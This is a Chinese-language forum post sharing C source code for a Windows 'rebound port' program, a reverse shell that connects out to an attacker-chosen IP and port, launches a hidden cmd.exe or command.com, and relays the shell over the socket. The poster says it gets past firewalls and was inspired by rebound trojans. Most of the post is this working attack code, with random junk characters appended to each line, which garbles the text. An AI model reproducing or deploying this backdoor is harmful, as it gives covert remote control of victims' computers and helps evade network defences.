社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5344阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 *7G5\[gI$  
%W,V~kb  
/* ============================== r"W,G /;h  
Rebound port in Windows NT aa,^+^J  
By wind,2006/7 >v1ajI>O&{  
===============================*/ &l _NCo2  
#include dA=T+u  
#include t:yJ~En]=  
9KDm<Q-mf  
#pragma comment(lib,"wsock32.lib") ;k5B@z/<S  
%hV]vm  
void OutputShell(); {LoNp0i1a  
SOCKET sClient; *4?%Y8;bF6  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 5%;=(Oig  
thrv_^A  
void main(int argc,char **argv) XG;Dj<Dm  
{ Tv /?-`Y  
WSADATA stWsaData; BfdS3VrZ/  
int nRet; Xn* >qm  
SOCKADDR_IN stSaiClient,stSaiServer; -Ta| qQa  
B f"L;L  
if(argc != 3) |P(8T'  
{ j5V{,lf  
printf("Useage:\n\rRebound DestIP DestPort\n"); )F65sV{  
return; B'!I{LC  
} C[Nh>V7=  
DA9f\q   
WSAStartup(MAKEWORD(2,2),&stWsaData); #s3R4@{  
JYO("f  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); A? T25<}  
B> V)6\   
stSaiClient.sin_family = AF_INET; I|R;)[;X  
stSaiClient.sin_port = htons(0); VGeyZ\vU  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 4d;.p1ro  
}^]TUe@a  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) &9Xn:<"`)  
{ t2RL|$>F1  
printf("Bind Socket Failed!\n"); TpAso[r  
return; (;cvLop  
} *TC#|5  
h$$2(!G4  
stSaiServer.sin_family = AF_INET; E4qQ  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); b3l~wp6>  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); )UN_,'H/V  
f=T&$tZ<  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) NEff`mwm5)  
{ ?C*}NM  
printf("Connect Error!");  wjfc9z  
return; T/iZ"\(~w  
} uow{a*q d6  
OutputShell(); |ohCA&k%;  
} jWcfQ  
UthM?g^  
void OutputShell() p}(pIoyUF  
{ BT* {&'\/  
char szBuff[1024]; %hN7K  
SECURITY_ATTRIBUTES stSecurityAttributes; Y20T$5{#  
OSVERSIONINFO stOsversionInfo; }-T :   
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 8<PQ31  
STARTUPINFO stStartupInfo; 2g$;ZBHO|8  
char *szShell; xy+hrbD)j  
PROCESS_INFORMATION stProcessInformation; =.2)wA"e'  
unsigned long lBytesRead; "V{v*Aei0  
cn2SMa[@S  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); RKD$'UWX  
mt}3/d  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); <Xb$YB-c  
stSecurityAttributes.lpSecurityDescriptor = 0; kadw1sYj  
stSecurityAttributes.bInheritHandle = TRUE; %z"n}|%!  
)| 0(#R  
21 N!?DR  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); :YM1p&|fS  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); "P8( R  
m e2$ R>@  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); CMC9%uq  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Dgm"1+  
stStartupInfo.wShowWindow = SW_HIDE; (gjCm0#_%  
stStartupInfo.hStdInput = hReadPipe; b0uWUI(=  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; uy8mhB+]  
H/$oGhvl  
GetVersionEx(&stOsversionInfo); '.IR|~Y  
ASUL g{  
switch(stOsversionInfo.dwPlatformId) y@9ifFr  
{ 1!&m1  
case 1: Nc:0opPM  
szShell = "command.com"; n |Q' >  
break; $\q}A:  
default: )Ag{S[yZ  
szShell = "cmd.exe"; 5~{s-Ms  
break; _NN5e|t  
} F~wqt7*  
Pv3qN{265  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); $aDkZj  
y4Lh:;  
send(sClient,szMsg,77,0); tG*HUN?*  
while(1) bj7r"_  
{ ~=gpn|@b  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); g96]>]A<{  
if(lBytesRead) Ug8>|wCE  
{ <Y+>a#T  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); {;+9A}e  
send(sClient,szBuff,lBytesRead,0); /dwj:g0y  
} >(C5&3^  
else H&uh$y@  
{ f J+  
lBytesRead=recv(sClient,szBuff,1024,0); lX/:e=  
if(lBytesRead<=0) break; wG X\ub#!  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Y{OnW98  
} Tzr'3m_  
} oD=+  
lD6PKZ\RIj  
return; J Mm'JK?  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八